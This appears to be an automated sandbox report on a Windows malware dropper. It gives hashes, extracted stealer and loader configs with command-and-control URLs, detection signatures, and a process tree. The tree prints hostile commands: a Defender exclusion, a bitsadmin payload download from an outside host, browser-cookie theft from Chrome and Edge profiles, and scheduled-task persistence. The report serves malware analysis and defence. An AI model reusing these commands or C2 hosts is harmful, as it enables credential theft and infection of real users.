Analysis
-
max time kernel
66s -
max time network
165s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
15-08-2021 06:36
General
-
Target
F8152034E041CDA8A8A13AACD63CABCF.exe
-
Size
631KB
-
MD5
f8152034e041cda8a8a13aacd63cabcf
-
SHA1
1a70403efc279a97c3e0f4950d51d6143de40a71
-
SHA256
a81accafde181c4afdc35a0c9221f12aafaf2b6b3351dde1f4cb4d7ef25355fc
-
SHA512
e47d7ddea268fd4f6637ea3439b9d2c308ba268f65b19f73bb0a9503f1b52da2a1c11fba6ffffb5e11dd14c4bf2edbb776b8d072ad72de8c00ead81aa59ac400
Malware Config
Extracted
raccoon
93d3ccba4a3cbd5e268873fc1760b2335272e198
-
url4cnc
https://telete.in/opa4kiprivatem
Extracted
vidar
40
937
https://lenak513.tumblr.com/
-
profile_id
937
Extracted
smokeloader
2020
http://readinglistforjuly1.xyz/
http://readinglistforjuly2.xyz/
http://readinglistforjuly3.xyz/
http://readinglistforjuly4.xyz/
http://readinglistforjuly5.xyz/
http://readinglistforjuly6.xyz/
http://readinglistforjuly7.xyz/
http://readinglistforjuly8.xyz/
http://readinglistforjuly9.xyz/
http://readinglistforjuly10.xyz/
http://readinglistforjuly1.site/
http://readinglistforjuly2.site/
http://readinglistforjuly3.site/
http://readinglistforjuly4.site/
http://readinglistforjuly5.site/
http://readinglistforjuly6.site/
http://readinglistforjuly7.site/
http://readinglistforjuly8.site/
http://readinglistforjuly9.site/
http://readinglistforjuly10.site/
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 2 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 10 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
-
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
-
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
-
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
-
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 26 IoCs
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 1 IoCs
-
Themida packer 9 IoCs
Detects Themida, an advanced Windows software protection system.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 10 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 24 IoCs
-
NSIS installer 2 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 2 IoCs
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
Kills process with taskkill 3 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\F8152034E041CDA8A8A13AACD63CABCF.exe"C:\Users\Admin\AppData\Local\Temp\F8152034E041CDA8A8A13AACD63CABCF.exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\cE1A4glRdM7ta3djfZN320Cf.exe"C:\Users\Admin\Documents\cE1A4glRdM7ta3djfZN320Cf.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\J5Rxj_o7lV2wsHlCjB8mzKdr.exe"C:\Users\Admin\Documents\J5Rxj_o7lV2wsHlCjB8mzKdr.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\J5Rxj_o7lV2wsHlCjB8mzKdr.exe"C:\Users\Admin\Documents\J5Rxj_o7lV2wsHlCjB8mzKdr.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Documents\hyvNerd3Z4OVPkmVJVzHctSK.exe"C:\Users\Admin\Documents\hyvNerd3Z4OVPkmVJVzHctSK.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\_zXUW0xZokymBMjLA7kCFRLI.exe"C:\Users\Admin\Documents\_zXUW0xZokymBMjLA7kCFRLI.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\_zXUW0xZokymBMjLA7kCFRLI.exe"C:\Users\Admin\Documents\_zXUW0xZokymBMjLA7kCFRLI.exe"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\_zXUW0xZokymBMjLA7kCFRLI.exe"3⤵
-
C:\Users\Admin\Documents\AgQJECfGsTmGqXOn2fGbt7JS.exe"C:\Users\Admin\Documents\AgQJECfGsTmGqXOn2fGbt7JS.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1732 -s 4763⤵
- Program crash
-
C:\Users\Admin\Documents\ojd3R7jH3Q2CRkbV1rtItYaU.exe"C:\Users\Admin\Documents\ojd3R7jH3Q2CRkbV1rtItYaU.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\ojd3R7jH3Q2CRkbV1rtItYaU.exeC:\Users\Admin\Documents\ojd3R7jH3Q2CRkbV1rtItYaU.exe3⤵
-
C:\Users\Admin\Documents\y8qmXyyhQxx6QJjZ58GqD6su.exe"C:\Users\Admin\Documents\y8qmXyyhQxx6QJjZ58GqD6su.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\y8qmXyyhQxx6QJjZ58GqD6su.exeC:\Users\Admin\Documents\y8qmXyyhQxx6QJjZ58GqD6su.exe3⤵
-
C:\Users\Admin\Documents\8bVhbHpVBuh2Kr8uzpIpbvBQ.exe"C:\Users\Admin\Documents\8bVhbHpVBuh2Kr8uzpIpbvBQ.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exe"C:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exeC:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 244⤵
- Program crash
-
C:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exeC:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exe3⤵
-
C:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exeC:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exe3⤵
-
C:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exeC:\Users\Admin\Documents\04RHr1sdarP1r8zRSx6Ohqnu.exe3⤵
-
C:\Users\Admin\Documents\CjCC46sj2ce_F7Msft3n4Mhf.exe"C:\Users\Admin\Documents\CjCC46sj2ce_F7Msft3n4Mhf.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\CjCC46sj2ce_F7Msft3n4Mhf.exeC:\Users\Admin\Documents\CjCC46sj2ce_F7Msft3n4Mhf.exe3⤵
-
C:\Users\Admin\Documents\FDCO3PnNv3TA01hA0n2PcV9y.exe"C:\Users\Admin\Documents\FDCO3PnNv3TA01hA0n2PcV9y.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3948 -s 7723⤵
- Program crash
-
C:\Users\Admin\Documents\Z_rQGeP_RRE3JmeSD6gbbZSM.exe"C:\Users\Admin\Documents\Z_rQGeP_RRE3JmeSD6gbbZSM.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Z_rQGeP_RRE3JmeSD6gbbZSM.exe"C:\Users\Admin\Documents\Z_rQGeP_RRE3JmeSD6gbbZSM.exe"3⤵
-
C:\Users\Admin\Documents\WVbnuLuCCsRjcAbr3bLHmjD3.exe"C:\Users\Admin\Documents\WVbnuLuCCsRjcAbr3bLHmjD3.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\_oQW6i6r5TRHQfvUVrHMUlkl.exe"C:\Users\Admin\Documents\_oQW6i6r5TRHQfvUVrHMUlkl.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\_oQW6i6r5TRHQfvUVrHMUlkl.exe"C:\Users\Admin\Documents\_oQW6i6r5TRHQfvUVrHMUlkl.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"5⤵
-
C:\Users\Admin\Documents\1KZiPBY5ygexopL_XL2eJQEe.exe"C:\Users\Admin\Documents\1KZiPBY5ygexopL_XL2eJQEe.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\qLqd3XUrnKVxkVuJvOKagVbu.exe"C:\Users\Admin\Documents\qLqd3XUrnKVxkVuJvOKagVbu.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im qLqd3XUrnKVxkVuJvOKagVbu.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\qLqd3XUrnKVxkVuJvOKagVbu.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im qLqd3XUrnKVxkVuJvOKagVbu.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\_iLE_LY8JeBKF2DbKfhFBN7O.exe"C:\Users\Admin\Documents\_iLE_LY8JeBKF2DbKfhFBN7O.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\exCOeFDMtKpfYH3MtBbIXfQx.exe"C:\Users\Admin\Documents\exCOeFDMtKpfYH3MtBbIXfQx.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\1519721.exe"C:\Users\Admin\AppData\Roaming\1519721.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\8629469.exe"C:\Users\Admin\AppData\Roaming\8629469.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\1606668.exe"C:\Users\Admin\AppData\Roaming\1606668.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\4198177.exe"C:\Users\Admin\AppData\Roaming\4198177.exe"3⤵
-
C:\Users\Admin\Documents\g9y_pMlEC8Z7u747r2g7hP3h.exe"C:\Users\Admin\Documents\g9y_pMlEC8Z7u747r2g7hP3h.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsn4D09.tmp\tempfile.ps1"3⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z3⤵
- Download via BitsAdmin
-
C:\Users\Admin\Documents\Fc2bAIVxDyVz4xaHtgRJk2HA.exe"C:\Users\Admin\Documents\Fc2bAIVxDyVz4xaHtgRJk2HA.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\Fc2bAIVxDyVz4xaHtgRJk2HA.exe"3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK4⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\ispwv5QljW.exe"C:\Users\Admin\AppData\Local\Temp\ispwv5QljW.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe"4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\xYjiWB3i7MnSKwXeFD1TWkzJ.exe"C:\Users\Admin\Documents\xYjiWB3i7MnSKwXeFD1TWkzJ.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\L7b1EIOR4Mysa0oMmX1c9noB.exe"C:\Users\Admin\Documents\L7b1EIOR4Mysa0oMmX1c9noB.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\0tkM3DpBUG1baxBqp3FPFTQz.exe"C:\Users\Admin\Documents\0tkM3DpBUG1baxBqp3FPFTQz.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-OH8M4.tmp\0tkM3DpBUG1baxBqp3FPFTQz.tmp"C:\Users\Admin\AppData\Local\Temp\is-OH8M4.tmp\0tkM3DpBUG1baxBqp3FPFTQz.tmp" /SL5="$301EC,138429,56832,C:\Users\Admin\Documents\0tkM3DpBUG1baxBqp3FPFTQz.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CNPB9.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-CNPB9.tmp\Setup.exe" /Verysilent4⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" /quiet SILENT=1 AF=715 BF=7155⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Weather Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628749900 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet5⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628749900 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBox64bit.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 7326⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 7446⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 8526⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 8886⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5736 -s 8886⤵
- Program crash
-
C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\8910721.exe"C:\Users\Admin\AppData\Roaming\8910721.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\6206475.exe"C:\Users\Admin\AppData\Roaming\6206475.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\8631789.exe"C:\Users\Admin\AppData\Roaming\8631789.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\1050499.exe"C:\Users\Admin\AppData\Roaming\1050499.exe"6⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JKJMQ.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-JKJMQ.tmp\MediaBurner2.tmp" /SL5="$10360,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GP6MD.tmp\3377047_logo_media.exe"C:\Users\Admin\AppData\Local\Temp\is-GP6MD.tmp\3377047_logo_media.exe" /S /UID=burnerch27⤵
-
C:\Program Files\Windows Multimedia Platform\UQIKJMBBGO\ultramediaburner.exe"C:\Program Files\Windows Multimedia Platform\UQIKJMBBGO\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GNDO6.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-GNDO6.tmp\ultramediaburner.tmp" /SL5="$402D4,281924,62464,C:\Program Files\Windows Multimedia Platform\UQIKJMBBGO\ultramediaburner.exe" /VERYSILENT9⤵
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
C:\Users\Admin\AppData\Local\Temp\76-f560f-90f-846b3-f0b4351d65cf4\Xadecaekyzhi.exe"C:\Users\Admin\AppData\Local\Temp\76-f560f-90f-846b3-f0b4351d65cf4\Xadecaekyzhi.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\98-dd5f9-d24-81483-33d9cd2e83608\Buwituleti.exe"C:\Users\Admin\AppData\Local\Temp\98-dd5f9-d24-81483-33d9cd2e83608\Buwituleti.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xz4wn3ru.3tu\LivelyScreenRecorder.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\xz4wn3ru.3tu\LivelyScreenRecorder.exeC:\Users\Admin\AppData\Local\Temp\xz4wn3ru.3tu\LivelyScreenRecorder.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\tmp26FC_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp26FC_tmp.exe"11⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\System32\dllhost.exe"12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Presto.avi12⤵
-
C:\Windows\SysWOW64\cmd.execmd13⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^NOMPYcpppIdmxMIjpZJiqIaRacbYsDyCvWwIcZWZvJmoLxdJeLbxMJXtvVbDYlSFDOebLqQprKLsppyXtNVFyKPNZWjmCzqkRTEXaSYeUgseYGVjPmnlfjATYfnONsHKJmAdFoFjPTLRzNPzwZ$" Oggi.avi14⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comHai.exe.com l14⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l15⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l16⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l17⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l18⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l19⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Hai.exe.com l20⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 3014⤵
- Runs ping.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uwdjepal.yeb\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\uwdjepal.yeb\installer.exeC:\Users\Admin\AppData\Local\Temp\uwdjepal.yeb\installer.exe /qn CAMPAIGN="654"10⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hjjghrzk.mv2\ufgaa.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\hjjghrzk.mv2\ufgaa.exeC:\Users\Admin\AppData\Local\Temp\hjjghrzk.mv2\ufgaa.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt11⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt11⤵
-
